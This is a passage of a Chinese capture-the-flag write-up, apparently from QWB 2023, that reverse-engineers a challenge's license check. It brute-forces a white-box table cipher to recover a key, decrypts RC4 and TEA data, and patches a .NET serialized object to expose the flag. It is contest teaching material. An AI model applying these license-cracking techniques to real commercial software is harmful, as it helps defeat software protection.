    num8 = v12[i][24 * j + 15][tmp3][tmp4];
    aaa[4 * j + 2] = (v12[i][24 * j + 16][num5][num6] << 4) | (v12[i][24 * j + 17][num7][num8]);
    tmp1 = (num >> 4) & 15;
    tmp2 = (num2 >> 4) & 15;
    tmp3 = (num3 >> 4) & 15;
    tmp4 = (num4 >> 4) & 15;
    num5 = v12[i][24 * j + 18][tmp1][tmp2];
    num6 = v12[i][24 * j + 19][tmp3][tmp4];
    tmp1 = num & 15;
    tmp2 = num2 & 15;
    tmp3 = num3 & 15;
    tmp4 = num4 & 15;
    num7 = v12[i][24 * j + 20][tmp1][tmp2];
    num8 = v12[i][24 * j + 21][tmp3][tmp4];
    aaa[4 * j + 3] = (v12[i][24 * j + 22][num5][num6] << 4) | (v12[i][24 * j + 23][num7][num8]);

    num = v13[i][j * 4][aaa[4 * j]];
    num2 = v13[i][j * 4 + 1][aaa[4 * j + 1]];
    num3 = v13[i][j * 4 + 2][aaa[4 * j + 2]];
    num4 = v13[i][j * 4 + 3][aaa[4 * j + 3]];

    tmp1 = (num >> 28) & 15;
    tmp2 = (num2 >> 28) & 15;
    tmp3 = (num3 >> 28) & 15;
    tmp4 = (num4 >> 28) & 15;
    num5 = v12[i][24 * j][tmp1][tmp2];
    num6 = v12[i][24 * j + 1][tmp3][tmp4];
    tmp1 = (num >> 24) & 15;
    tmp2 = (num2 >> 24) & 15;
    tmp3 = (num3 >> 24) & 15;
    tmp4 = (num4 >> 24) & 15;
    num7 = v12[i][24 * j + 2][tmp1][tmp2];
    num8 = v12[i][24 * j + 3][tmp3][tmp4];
    aaa[4 * j] = (v12[i][24 * j + 4][num5][num6] << 4) | (v12[i][24 * j + 5][num7][num8]);
    tmp1 = (num >> 20) & 15;
    tmp2 = (num2 >> 20) & 15;
    tmp3 = (num3 >> 20) & 15;
    tmp4 = (num4 >> 20) & 15;
    num5 = v12[i][24 * j + 6][tmp1][tmp2];
    num6 = v12[i][24 * j + 7][tmp3][tmp4];
    tmp1 = (num >> 16) & 15;
    tmp2 = (num2 >> 16) & 15;
    tmp3 = (num3 >> 16) & 15;
    tmp4 = (num4 >> 16) & 15;
    num7 = v12[i][24 * j + 8][tmp1][tmp2];
    num8 = v12[i][24 * j + 9][tmp3][tmp4];
    aaa[4 * j + 1] = (v12[i][24 * j + 10][num5][num6] << 4) | (v12[i][24 * j + 11][num7][num8]);
    tmp1 = (num >> 12) & 15;
    tmp2 = (num2 >> 12) & 15;
    tmp3 = (num3 >> 12) & 15;
    tmp4 = (num4 >> 12) & 15;
    num5 = v12[i][24 * j + 12][tmp1][tmp2];
    num6 = v12[i][24 * j + 13][tmp3][tmp4];
    tmp1 = (num >> 8) & 15;
    tmp2 = (num2 >> 8) & 15;
    tmp3 = (num3 >> 8) & 15;
    tmp4 = (num4 >> 8) & 15;
    num7 = v12[i][24 * j + 14][tmp1][tmp2];
    num8 = v12[i][24 * j + 15][tmp3][tmp4];
    aaa[4 * j + 2] = (v12[i][24 * j + 16][num5][num6] << 4) | (v12[i][24 * j + 17][num7][num8]);
    tmp1 = (num >> 4) & 15;
    tmp2 = (num2 >> 4) & 15;
    tmp3 = (num3 >> 4) & 15;
    tmp4 = (num4 >> 4) & 15;
    num5 = v12[i][24 * j + 18][tmp1][tmp2];
    num6 = v12[i][24 * j + 19][tmp3][tmp4];
    tmp1 = num & 15;
    tmp2 = num2 & 15;
    tmp3 = num3 & 15;
    tmp4 = num4 & 15;
    num7 = v12[i][24 * j + 20][tmp1][tmp2];
    num8 = v12[i][24 * j + 21][tmp3][tmp4];
    aaa[4 * j + 3] = (v12[i][24 * j + 22][num5][num6] << 4) | (v12[i][24 * j + 23][num7][num8]);
}

这部分套到 4 轮里生成 16 字节:

void AAA2(unsigned int* aaa, unsigned int* bbb)
{
    int i, j, num, num2, num3, num4, tmp1, tmp2, tmp3, tmp4, num5, num6, num7, num8;
    for (int i = 0; i < 9; i++) {
        GGG(aaa);
        for (j = 0; j < 4; j++) {
            Gen_table(aaa, i, j);
        }
    }
    GGG(aaa);
    for (int ii = 0; ii < 16; ii++)
    {
        aaa[ii] = v14[9][ii][aaa[ii]];
    }
    for (int ii = 0; ii < 16; ii++)
    {
        bbb[ii] = aaa[ii];
    }
}

GGG 是字节置换,这个可逆没什么问题,但是 Gen_table 函数看了半天都还是不可逆,但是如果考虑对这个函数进行爆破的话,由于是 4个字节映射到 4 个字节上,如果直接对整个 4 字节空间进行爆破的话还是太慢了,但是考虑到生成方式是一组字节决定另外一组字节,那么只要有一个字节不符合就能提前结束,能加快一点效率,最后差不多是这样:

先把结果置换回去,然后再进爆破:

#include <stdio.h>
#include "data.h"

int GGG(unsigned int* v16)
{
    unsigned char array2[] = {0, 5, 10, 15, 4, 9, 14, 3, 8, 13, 2, 7, 12, 1, 6, 11};
    unsigned char array[16] = { 0 };
    for (int i = 0; i < 16; i++)
    {
        array[i] = v16[array2[i]];
    }
    for (int i = 0; i < 16; i++)
    {
        v16[i] = array[i];
    }
    return 0;
}

int GGG_recover(unsigned char* v16) {
    unsigned char array[16] = {};
    unsigned char array2[16] = {0, 13, 10, 7, 4, 1, 14, 11, 8, 5, 2, 15, 12, 9, 6, 3};
    for (int i = 0; i < 16; i++)
    {
        array[i] = v16[array2[i]];
    }
    for (int i = 0; i < 16; i++)
    {
        v16[i] = array[i];
    }
    return 0;
}

void Gen_table(unsigned int* aaa,int i,int j)
{
    int num, num2, num3, num4, tmp1, tmp2, tmp3, tmp4, num5, num6, num7, num8;

    num = v11[i][j * 4][aaa[4 * j]];
    num2 = v11[i][j * 4 + 1][aaa[4 * j + 1]];
    num3 = v11[i][j * 4 + 2][aaa[4 * j + 2]];
    num4 = v11[i][j * 4 + 3][aaa[4 * j + 3]];
    tmp1 = (num >> 28) & 15;
    tmp2 = (num2 >> 28) & 15;
    tmp3 = (num3 >> 28) & 15;
    tmp4 = (num4 >> 28) & 15;
    num5 = v12[i][24 * j][tmp1][tmp2];
    num6 = v12[i][24 * j + 1][tmp3][tmp4];
    tmp1 = (num >> 24) & 15;
    tmp2 = (num2 >> 24) & 15;
    tmp3 = (num3 >> 24) & 15;
    tmp4 = (num4 >> 24) & 15;
    num7 = v12[i][24 * j + 2][tmp1][tmp2];
    num8 = v12[i][24 * j + 3][tmp3][tmp4];
    aaa[4 * j] = (v12[i][24 * j + 4][num5][num6] << 4) | (v12[i][24 * j + 5][num7][num8]);

    tmp1 = (num >> 20) & 15;
    tmp2 = (num2 >> 20) & 15;
    tmp3 = (num3 >> 20) & 15;
    tmp4 = (num4 >> 20) & 15;
    num5 = v12[i][24 * j + 6][tmp1][tmp2];
    num6 = v12[i][24 * j + 7][tmp3][tmp4];
    tmp1 = (num >> 16) & 15;
    tmp2 = (num2 >> 16) & 15;
    tmp3 = (num3 >> 16) & 15;
    tmp4 = (num4 >> 16) & 15;
    num7 = v12[i][24 * j + 8][tmp1][tmp2];
    num8 = v12[i][24 * j + 9][tmp3][tmp4];
    aaa[4 * j + 1] = (v12[i][24 * j + 10][num5][num6] << 4) | (v12[i][24 * j + 11][num7][num8]);


    tmp1 = (num >> 12) & 15;
    tmp2 = (num2 >> 12) & 15;
    tmp3 = (num3 >> 12) & 15;
    tmp4 = (num4 >> 12) & 15;
    num5 = v12[i][24 * j + 12][tmp1][tmp2];
    num6 = v12[i][24 * j + 13][tmp3][tmp4];
    tmp1 = (num >> 8) & 15;
    tmp2 = (num2 >> 8) & 15;
    tmp3 = (num3 >> 8) & 15;
    tmp4 = (num4 >> 8) & 15;
    num7 = v12[i][24 * j + 14][tmp1][tmp2];
    num8 = v12[i][24 * j + 15][tmp3][tmp4];
    aaa[4 * j + 2] = (v12[i][24 * j + 16][num5][num6] << 4) | (v12[i][24 * j + 17][num7][num8]);
    tmp1 = (num >> 4) & 15;
    tmp2 = (num2 >> 4) & 15;
    tmp3 = (num3 >> 4) & 15;
    tmp4 = (num4 >> 4) & 15;
    num5 = v12[i][24 * j + 18][tmp1][tmp2];
    num6 = v12[i][24 * j + 19][tmp3][tmp4];
    tmp1 = num & 15;
    tmp2 = num2 & 15;
    tmp3 = num3 & 15;
    tmp4 = num4 & 15;
    num7 = v12[i][24 * j + 20][tmp1][tmp2];
    num8 = v12[i][24 * j + 21][tmp3][tmp4];
    aaa[4 * j + 3] = (v12[i][24 * j + 22][num5][num6] << 4) | (v12[i][24 * j + 23][num7][num8]);

    num = v13[i][j * 4][aaa[4 * j]];
    num2 = v13[i][j * 4 + 1][aaa[4 * j + 1]];
    num3 = v13[i][j * 4 + 2][aaa[4 * j + 2]];
    num4 = v13[i][j * 4 + 3][aaa[4 * j + 3]];

    tmp1 = (num >> 28) & 15;
    tmp2 = (num2 >> 28) & 15;
    tmp3 = (num3 >> 28) & 15;
    tmp4 = (num4 >> 28) & 15;
    num5 = v12[i][24 * j][tmp1][tmp2];
    num6 = v12[i][24 * j + 1][tmp3][tmp4];
    tmp1 = (num >> 24) & 15;
    tmp2 = (num2 >> 24) & 15;
    tmp3 = (num3 >> 24) & 15;
    tmp4 = (num4 >> 24) & 15;
    num7 = v12[i][24 * j + 2][tmp1][tmp2];
    num8 = v12[i][24 * j + 3][tmp3][tmp4];
    aaa[4 * j] = (v12[i][24 * j + 4][num5][num6] << 4) | (v12[i][24 * j + 5][num7][num8]);
    tmp1 = (num >> 20) & 15;
    tmp2 = (num2 >> 20) & 15;
    tmp3 = (num3 >> 20) & 15;
    tmp4 = (num4 >> 20) & 15;
    num5 = v12[i][24 * j + 6][tmp1][tmp2];
    num6 = v12[i][24 * j + 7][tmp3][tmp4];
    tmp1 = (num >> 16) & 15;
    tmp2 = (num2 >> 16) & 15;
    tmp3 = (num3 >> 16) & 15;
    tmp4 = (num4 >> 16) & 15;
    num7 = v12[i][24 * j + 8][tmp1][tmp2];
    num8 = v12[i][24 * j + 9][tmp3][tmp4];
    aaa[4 * j + 1] = (v12[i][24 * j + 10][num5][num6] << 4) | (v12[i][24 * j + 11][num7][num8]);
    tmp1 = (num >> 12) & 15;
    tmp2 = (num2 >> 12) & 15;
    tmp3 = (num3 >> 12) & 15;
    tmp4 = (num4 >> 12) & 15;
    num5 = v12[i][24 * j + 12][tmp1][tmp2];
    num6 = v12[i][24 * j + 13][tmp3][tmp4];
    tmp1 = (num >> 8) & 15;
    tmp2 = (num2 >> 8) & 15;
    tmp3 = (num3 >> 8) & 15;
    tmp4 = (num4 >> 8) & 15;
    num7 = v12[i][24 * j + 14][tmp1][tmp2];
    num8 = v12[i][24 * j + 15][tmp3][tmp4];
    aaa[4 * j + 2] = (v12[i][24 * j + 16][num5][num6] << 4) | (v12[i][24 * j + 17][num7][num8]);
    tmp1 = (num >> 4) & 15;
    tmp2 = (num2 >> 4) & 15;
    tmp3 = (num3 >> 4) & 15;
    tmp4 = (num4 >> 4) & 15;
    num5 = v12[i][24 * j + 18][tmp1][tmp2];
    num6 = v12[i][24 * j + 19][tmp3][tmp4];
    tmp1 = num & 15;
    tmp2 = num2 & 15;
    tmp3 = num3 & 15;
    tmp4 = num4 & 15;
    num7 = v12[i][24 * j + 20][tmp1][tmp2];
    num8 = v12[i][24 * j + 21][tmp3][tmp4];
    aaa[4 * j + 3] = (v12[i][24 * j + 22][num5][num6] << 4) | (v12[i][24 * j + 23][num7][num8]);
    
}

void AAA(unsigned int* aaa, unsigned int* bbb)
{
    int i, j, num, num2, num3, num4, tmp1, tmp2, tmp3, tmp4, num5, num6, num7, num8;

    for (int i = 0; i < 9; i++) {
        GGG(aaa);
        for (j = 0; j < 4; j++) {
            num = v11[i][j * 4][aaa[4 * j]];
            num2 = v11[i][j * 4 + 1][aaa[4 * j + 1]];
            num3 = v11[i][j * 4 + 2][aaa[4 * j + 2]];
            num4 = v11[i][j * 4 + 3][aaa[4 * j + 3]];
            tmp1 = (num >> 28) & 15;
            tmp2 = (num2 >> 28) & 15;
            tmp3 = (num3 >> 28) & 15;
            tmp4 = (num4 >> 28) & 15;
            num5 = v12[i][24 * j][tmp1][tmp2];
            num6 = v12[i][24 * j + 1][tmp3][tmp4];
            tmp1 = (num >> 24) & 15;
            tmp2 = (num2 >> 24) & 15;
            tmp3 = (num3 >> 24) & 15;
            tmp4 = (num4 >> 24) & 15;
            num7 = v12[i][24 * j + 2][tmp1][tmp2];
            num8 = v12[i][24 * j + 3][tmp3][tmp4];
            aaa[4 * j] = (v12[i][24 * j + 4][num5][num6] << 4) | (v12[i][24 * j + 5][num7][num8]);

            tmp1 = (num >> 20) & 15;
            tmp2 = (num2 >> 20) & 15;
            tmp3 = (num3 >> 20) & 15;
            tmp4 = (num4 >> 20) & 15;
            num5 = v12[i][24 * j + 6][tmp1][tmp2];
            num6 = v12[i][24 * j + 7][tmp3][tmp4];
            tmp1 = (num >> 16) & 15;
            tmp2 = (num2 >> 16) & 15;
            tmp3 = (num3 >> 16) & 15;
            tmp4 = (num4 >> 16) & 15;
            num7 = v12[i][24 * j + 8][tmp1][tmp2];
            num8 = v12[i][24 * j + 9][tmp3][tmp4];
            aaa[4 * j + 1] = (v12[i][24 * j + 10][num5][num6] << 4) | (v12[i][24 * j + 11][num7][num8]);


            tmp1 = (num >> 12) & 15;
            tmp2 = (num2 >> 12) & 15;
            tmp3 = (num3 >> 12) & 15;
            tmp4 = (num4 >> 12) & 15;
            num5 = v12[i][24 * j + 12][tmp1][tmp2];
            num6 = v12[i][24 * j + 13][tmp3][tmp4];
            tmp1 = (num >> 8) & 15;
            tmp2 = (num2 >> 8) & 15;
            tmp3 = (num3 >> 8) & 15;
            tmp4 = (num4 >> 8) & 15;
            num7 = v12[i][24 * j + 14][tmp1][tmp2];
            num8 = v12[i][24 * j + 15][tmp3][tmp4];
            aaa[4 * j + 2] = (v12[i][24 * j + 16][num5][num6] << 4) | (v12[i][24 * j + 17][num7][num8]);

            tmp1 = (num >> 4) & 15;
            tmp2 = (num2 >> 4) & 15;
            tmp3 = (num3 >> 4) & 15;
            tmp4 = (num4 >> 4) & 15;
            num5 = v12[i][24 * j + 18][tmp1][tmp2];
            num6 = v12[i][24 * j + 19][tmp3][tmp4];
            tmp1 = num & 15;
            tmp2 = num2 & 15;
            tmp3 = num3 & 15;
            tmp4 = num4 & 15;
            num7 = v12[i][24 * j + 20][tmp1][tmp2];
            num8 = v12[i][24 * j + 21][tmp3][tmp4];
            aaa[4 * j + 3] = (v12[i][24 * j + 22][num5][num6] << 4) | (v12[i][24 * j + 23][num7][num8]);

            num = v13[i][j * 4][aaa[4 * j]];
            num2 = v13[i][j * 4 + 1][aaa[4 * j + 1]];
            num3 = v13[i][j * 4 + 2][aaa[4 * j + 2]];
            num4 = v13[i][j * 4 + 3][aaa[4 * j + 3]];

            tmp1 = (num >> 28) & 15;
            tmp2 = (num2 >> 28) & 15;
            tmp3 = (num3 >> 28) & 15;
            tmp4 = (num4 >> 28) & 15;
            num5 = v12[i][24 * j][tmp1][tmp2];
            num6 = v12[i][24 * j + 1][tmp3][tmp4];
            tmp1 = (num >> 24) & 15;
            tmp2 = (num2 >> 24) & 15;
            tmp3 = (num3 >> 24) & 15;
            tmp4 = (num4 >> 24) & 15;
            num7 = v12[i][24 * j + 2][tmp1][tmp2];
            num8 = v12[i][24 * j + 3][tmp3][tmp4];
            aaa[4 * j] = (v12[i][24 * j + 4][num5][num6] << 4) | (v12[i][24 * j + 5][num7][num8]);
            tmp1 = (num >> 20) & 15;
            tmp2 = (num2 >> 20) & 15;
            tmp3 = (num3 >> 20) & 15;
            tmp4 = (num4 >> 20) & 15;
            num5 = v12[i][24 * j + 6][tmp1][tmp2];
            num6 = v12[i][24 * j + 7][tmp3][tmp4];
            tmp1 = (num >> 16) & 15;
            tmp2 = (num2 >> 16) & 15;
            tmp3 = (num3 >> 16) & 15;
            tmp4 = (num4 >> 16) & 15;
            num7 = v12[i][24 * j + 8][tmp1][tmp2];
            num8 = v12[i][24 * j + 9][tmp3][tmp4];
            aaa[4 * j + 1] = (v12[i][24 * j + 10][num5][num6] << 4) | (v12[i][24 * j + 11][num7][num8]);
            tmp1 = (num >> 12) & 15;
            tmp2 = (num2 >> 12) & 15;
            tmp3 = (num3 >> 12) & 15;
            tmp4 = (num4 >> 12) & 15;
            num5 = v12[i][24 * j + 12][tmp1][tmp2];
            num6 = v12[i][24 * j + 13][tmp3][tmp4];
            tmp1 = (num >> 8) & 15;
            tmp2 = (num2 >> 8) & 15;
            tmp3 = (num3 >> 8) & 15;
            tmp4 = (num4 >> 8) & 15;
            num7 = v12[i][24 * j + 14][tmp1][tmp2];
            num8 = v12[i][24 * j + 15][tmp3][tmp4];
            aaa[4 * j + 2] = (v12[i][24 * j + 16][num5][num6] << 4) | (v12[i][24 * j + 17][num7][num8]);
            tmp1 = (num >> 4) & 15;
            tmp2 = (num2 >> 4) & 15;
            tmp3 = (num3 >> 4) & 15;
            tmp4 = (num4 >> 4) & 15;
            num5 = v12[i][24 * j + 18][tmp1][tmp2];
            num6 = v12[i][24 * j + 19][tmp3][tmp4];
            tmp1 = num & 15;
            tmp2 = num2 & 15;
            tmp3 = num3 & 15;
            tmp4 = num4 & 15;
            num7 = v12[i][24 * j + 20][tmp1][tmp2];
            num8 = v12[i][24 * j + 21][tmp3][tmp4];
            aaa[4 * j + 3] = (v12[i][24 * j + 22][num5][num6] << 4) | (v12[i][24 * j + 23][num7][num8]);
        }
    }
    GGG(aaa);
    for (int ii = 0; ii < 16; ii++)
    {
        aaa[ii] = v14[9][ii][aaa[ii]];
    }
    for (int ii = 0; ii < 16; ii++)
    {
        bbb[ii] = aaa[ii];
    }
}

void AAA2(unsigned int* aaa, unsigned int* bbb)
{
    int i, j, num, num2, num3, num4, tmp1, tmp2, tmp3, tmp4, num5, num6, num7, num8;

    for (int i = 0; i < 9; i++) {
        GGG(aaa);
        for (j = 0; j < 4; j++) {
            Gen_table(aaa, i, j);
        }
    }
    GGG(aaa);
    for (int ii = 0; ii < 16; ii++)
    {
        aaa[ii] = v14[9][ii][aaa[ii]];
    }
    for (int ii = 0; ii < 16; ii++)
    {
        bbb[ii] = aaa[ii];
    }
}

int main() {
    unsigned int v31[16];
    unsigned int num, num2, num3, num4, tmp1, tmp2, tmp3, tmp4, num5, num6, num7, num8;
    unsigned int now;
    unsigned int bbb[16] = { 0 };
    unsigned char recover[16] = { 84,66,248,146,8,40,193,220,66,252,121,175,82,198,11,34 };
    int count = 0;
    GGG_recover(recover);
    for (int i = 8; i >= 0; i--)
    {
        for (int j = 0; j < 4; j++)
        {
            int flag = 0;
            for (int i1 = 0; i1 < 256; i1++)
            {
                for (int i2 = 0; i2 < 256; i2++)
                {
                    for (int i3 = 0; i3 < 256; i3++)
                    {
                        for (int i4 = 0; i4 < 256; i4++)
                        {
                            num = v13[i][j * 4][i1];
                            num2 = v13[i][j * 4 + 1][i2];
                            num3 = v13[i][j * 4 + 2][i3];
                            num4 = v13[i][j * 4 + 3][i4];
                            
                            tmp1 = (num >> 28) & 15;
                            tmp2 = (num2 >> 28) & 15;
                            tmp3 = (num3 >> 28) & 15;
                            tmp4 = (num4 >> 28) & 15;
                            num5 = v12[i][24 * j][tmp1][tmp2];
                            num6 = v12[i][24 * j + 1][tmp3][tmp4];
                            tmp1 = (num >> 24) & 15;
                            tmp2 = (num2 >> 24) & 15;
                            tmp3 = (num3 >> 24) & 15;
                            tmp4 = (num4 >> 24) & 15;
                            num7 = v12[i][24 * j + 2][tmp1][tmp2];
                            num8 = v12[i][24 * j + 3][tmp3][tmp4];
                            
                            now = (v12[i][24 * j + 4][num5][num6] << 4) | (v12[i][24 * j + 5][num7][num8]);
                            if (now != recover[4 * j])
                            {
                                continue;
                            }

                            tmp1 = (num >> 20) & 15;
                            tmp2 = (num2 >> 20) & 15;
                            tmp3 = (num3 >> 20) & 15;
                            tmp4 = (num4 >> 20) & 15;
                            num5 = v12[i][24 * j + 6][tmp1][tmp2];
                            num6 = v12[i][24 * j + 7][tmp3][tmp4];
                            tmp1 = (num >> 16) & 15;
                            tmp2 = (num2 >> 16) & 15;
                            tmp3 = (num3 >> 16) & 15;
                            tmp4 = (num4 >> 16) & 15;
                            num7 = v12[i][24 * j + 8][tmp1][tmp2];
                            num8 = v12[i][24 * j + 9][tmp3][tmp4];
                            now = (v12[i][24 * j + 10][num5][num6] << 4) | (v12[i][24 * j + 11][num7][num8]);
                            if (now != recover[4 * j+1])
                            {
                                continue;
                            }
                            tmp1 = (num >> 12) & 15;
                            tmp2 = (num2 >> 12) & 15;
                            tmp3 = (num3 >> 12) & 15;
                            tmp4 = (num4 >> 12) & 15;
                            num5 = v12[i][24 * j + 12][tmp1][tmp2];
                            num6 = v12[i][24 * j + 13][tmp3][tmp4];
                            tmp1 = (num >> 8) & 15;
                            tmp2 = (num2 >> 8) & 15;
                            tmp3 = (num3 >> 8) & 15;
                            tmp4 = (num4 >> 8) & 15;
                            num7 = v12[i][24 * j + 14][tmp1][tmp2];
                            num8 = v12[i][24 * j + 15][tmp3][tmp4];
                            now = (v12[i][24 * j + 16][num5][num6] << 4) | (v12[i][24 * j + 17][num7][num8]);
                            if (now != recover[4 * j + 2])
                            {
                                continue;
                            }
                            tmp1 = (num >> 4) & 15;
                            tmp2 = (num2 >> 4) & 15;
                            tmp3 = (num3 >> 4) & 15;
                            tmp4 = (num4 >> 4) & 15;
                            num5 = v12[i][24 * j + 18][tmp1][tmp2];
                            num6 = v12[i][24 * j + 19][tmp3][tmp4];
                            tmp1 = num & 15;
                            tmp2 = num2 & 15;
                            tmp3 = num3 & 15;
                            tmp4 = num4 & 15;
                            num7 = v12[i][24 * j + 20][tmp1][tmp2];
                            num8 = v12[i][24 * j + 21][tmp3][tmp4];
                            now = (v12[i][24 * j + 22][num5][num6] << 4) | (v12[i][24 * j + 23][num7][num8]);
                            if (now != recover[4 * j + 3])
                            {
                                continue;
                            }
                            
                            printf("success %d\n", count++);
                            
                            printf("%d %d %d %d\n",i1,i2,i3,i4);
                            recover[4 * j] = i1 & 0xff;
                            recover[4 * j + 1] = i2 & 0xff;
                            recover[4 * j + 2] = i3 & 0xff;
                            recover[4 * j + 3] = i4 & 0xff;
                            flag = 1;
                            break;
                        }
                        if (flag) { break; }
                    }
                    if (flag) { break; }
                }
                if (flag) { break; }
            }
            if(!flag){printf("tell me \n");}
            flag = 0;
            for (int i1 = 0; i1 < 256; i1++)
            {
                for (int i2 = 0; i2 < 256; i2++)
                {
                    for (int i3 = 0; i3 < 256; i3++)
                    {
                        for (int i4 = 0; i4 < 256; i4++)
                        {
                            num = v11[i][j * 4][i1];
                            num2 = v11[i][j * 4 + 1][i2];
                            num3 = v11[i][j * 4 + 2][i3];
                            num4 = v11[i][j * 4 + 3][i4];
                            tmp1 = (num >> 28) & 15;
                            tmp2 = (num2 >> 28) & 15;
                            tmp3 = (num3 >> 28) & 15;
                            tmp4 = (num4 >> 28) & 15;
                            num5 = v12[i][24 * j][tmp1][tmp2];
                            num6 = v12[i][24 * j + 1][tmp3][tmp4];
                            tmp1 = (num >> 24) & 15;
                            tmp2 = (num2 >> 24) & 15;
                            tmp3 = (num3 >> 24) & 15;
                            tmp4 = (num4 >> 24) & 15;
                            num7 = v12[i][24 * j + 2][tmp1][tmp2];
                            num8 = v12[i][24 * j + 3][tmp3][tmp4];
                            now = (v12[i][24 * j + 4][num5][num6] << 4) | (v12[i][24 * j + 5][num7][num8]);
                            if (now != recover[4 * j])
                            {
                                continue;
                            }
                            tmp1 = (num >> 20) & 15;
                            tmp2 = (num2 >> 20) & 15;
                            tmp3 = (num3 >> 20) & 15;
                            tmp4 = (num4 >> 20) & 15;
                            num5 = v12[i][24 * j + 6][tmp1][tmp2];
                            num6 = v12[i][24 * j + 7][tmp3][tmp4];
                            tmp1 = (num >> 16) & 15;
                            tmp2 = (num2 >> 16) & 15;
                            tmp3 = (num3 >> 16) & 15;
                            tmp4 = (num4 >> 16) & 15;
                            num7 = v12[i][24 * j + 8][tmp1][tmp2];
                            num8 = v12[i][24 * j + 9][tmp3][tmp4];
                            now = (v12[i][24 * j + 10][num5][num6] << 4) | (v12[i][24 * j + 11][num7][num8]);
                            if (now != recover[4 * j + 1])
                            {
                                continue;
                            }
                            tmp1 = (num >> 12) & 15;
                            tmp2 = (num2 >> 12) & 15;
                            tmp3 = (num3 >> 12) & 15;
                            tmp4 = (num4 >> 12) & 15;
                            num5 = v12[i][24 * j + 12][tmp1][tmp2];
                            num6 = v12[i][24 * j + 13][tmp3][tmp4];
                            tmp1 = (num >> 8) & 15;
                            tmp2 = (num2 >> 8) & 15;
                            tmp3 = (num3 >> 8) & 15;
                            tmp4 = (num4 >> 8) & 15;
                            num7 = v12[i][24 * j + 14][tmp1][tmp2];
                            num8 = v12[i][24 * j + 15][tmp3][tmp4];
                            now = (v12[i][24 * j + 16][num5][num6] << 4) | (v12[i][24 * j + 17][num7][num8]);
                            if (now != recover[4 * j + 2])
                            {
                                continue;
                            }
                            tmp1 = (num >> 4) & 15;
                            tmp2 = (num2 >> 4) & 15;
                            tmp3 = (num3 >> 4) & 15;
                            tmp4 = (num4 >> 4) & 15;
                            num5 = v12[i][24 * j + 18][tmp1][tmp2];
                            num6 = v12[i][24 * j + 19][tmp3][tmp4];
                            tmp1 = num & 15;
                            tmp2 = num2 & 15;
                            tmp3 = num3 & 15;
                            tmp4 = num4 & 15;
                            num7 = v12[i][24 * j + 20][tmp1][tmp2];
                            num8 = v12[i][24 * j + 21][tmp3][tmp4];
                            now = (v12[i][24 * j + 22][num5][num6] << 4) | (v12[i][24 * j + 23][num7][num8]);
                            if (now != recover[4 * j + 3])
                            {
                                continue;
                            }
                            printf("success %d\n", count++);
                            recover[4 * j] = i1 & 0xff;
                            recover[4 * j + 1] = i2 & 0xff;
                            recover[4 * j + 2] = i3 & 0xff;
                            recover[4 * j + 3] = i4 & 0xff;
                            printf("%d %d %d %d\n",i1,i2,i3,i4);
                            flag = 1;
                            break;
                        }
                        if (flag) { break; }
                    }
                    if (flag) { break; }
                }
                if (flag) { break; }
            }
            if(!flag){printf("tell me \n");
            }
        }
        GGG_recover(recover);
    }
    for (int i = 0; i < 16; i++)
    {
        printf("%d,", recover[i]);
    }
    printf("\nend!!\n");
//    scanf_s("%s", recover,16);
}

开 O3 优化以后快了不少:

得到 WelcomeToQWB2023 ,然后拿去用 RC4 解 License.dat ,但是输入以后调试就会发现程序会在反序列化的时候出现异常,不过道理上猜测是应该要拿去调用 FFF 的,所以直接开算 参数 b:

private static int FFF(string a, string b)
{
    if (b.Length != 21)
    {
        return 1;
    }
    if (!v6.Equals(a))
    {
        return 1;
    }
    string s = b.PadRight((b.Length / 8 + ((b.Length % 8 > 0) ? 1 : 0)) * 8);
    byte[] bytes = Encoding.UTF8.GetBytes(s);
    byte[] bytes2 = Encoding.UTF8.GetBytes(a);
    uint[] array = new uint[4];
    for (int i = 0; i < 4; i++)
    {
        array[i] = BitConverter.ToUInt32(bytes2, i * 4);
    }
    uint num = 3735928559u;
    int num2 = bytes.Length / 8;
    byte[] array2 = new byte[bytes.Length];
    for (int j = 0; j < num2; j++)
    {
        uint num3 = BitConverter.ToUInt32(bytes, j * 8);
        uint num4 = BitConverter.ToUInt32(bytes, j * 8 + 4);
        uint num5 = 0u;
        for (int k = 0; k < 32; k++)
        {
            num5 += num;
            num3 += ((num4 << 4) + array[0]) ^ (num4 + num5) ^ ((num4 >> 5) + array[1]);
            num4 += ((num3 << 4) + array[2]) ^ (num3 + num5) ^ ((num3 >> 5) + array[3]);
        }
        Array.Copy(BitConverter.GetBytes(num3), 0, array2, j * 8, 4);
        Array.Copy(BitConverter.GetBytes(num4), 0, array2, j * 8 + 4, 4);
    }
    for (int l = 0; l < array2.Length; l++)
    {
        if (v28[l] != array2[l])
        {
            return 1;
        }
    }
    byte[] array3 = MD5.Create().ComputeHash(v7);
    for (int m = 0; m < v10.Length; m++)
    {
        v10[m] = (byte)(v10[m] ^ array3[m % array3.Length]);
    }
    return 1;
}

一个标准的 TEA ,解出来 b 是:dotN3t_Is_1nt3r3sting

void decrypt(uint32_t* v, uint32_t* k) {
    uint32_t v0 = v[0], v1 = v[1], sum = 0xDEADBEEF*32, i;  /* set up */
    uint32_t delta = 0xDEADBEEF;                     /* a key schedule constant */
    uint32_t k0 = k[0], k1 = k[1], k2 = k[2], k3 = k[3];   /* cache key */
    for (i = 0; i < 32; i++) {                         /* basic cycle start */
        v1 -= ((v0 << 4) + k2) ^ (v0 + sum) ^ ((v0 >> 5) + k3);
        v0 -= ((v1 << 4) + k0) ^ (v1 + sum) ^ ((v1 >> 5) + k1);
        sum -= delta;
    }                                              /* end cycle */
    v[0] = v0; v[1] = v1;
}
int main() {

    unsigned char v28[]=
    {
        69, 182, 171, 33, 121, 107, 254, 150, 92, 29,
        4, 178, 138, 166, 184, 106, 53, 241, 42, 191,
        23, 211, 3, 107
    };
    char keystr[] = "WelcomeToQWB2023";
    unsigned int key[4];
    unsigned int* keyptr = (unsigned int*)keystr;
    key[0] = keyptr[0];
    key[1] = keyptr[1];
    key[2] = keyptr[2];
    key[3] = keyptr[3];
    unsigned int* v = (unsigned int*)v28;
    decrypt(v, key);
    decrypt(&v[2], key);
    decrypt(&v[4], key);//dotN3t_Is_1nt3r3sting
}

不过也不是 flag,所以还是只能想办法修复序列化的结果了。

往反序列化函数里面跟:

在这里会发现,报出异常之前读取到的字节会表示类型为 string,但是跟进去之后会发现读到了长度 0 的输入,导致后续再读取下一个对象的时候读到 0 ,然后报错。所以只需要修复这里就能恢复了:

每个对象都有固定格式的,字符串的情况下,第一个 06 是类型,第二个 06 是对象 id,然后有一个 4 字节的长度参数,然后跟上具体的值。考虑到 FFF 正好就是两个参数,所以在这里把这两个丢进去,然后动调到 v10 异或结束以后,就能在内存里看到解了: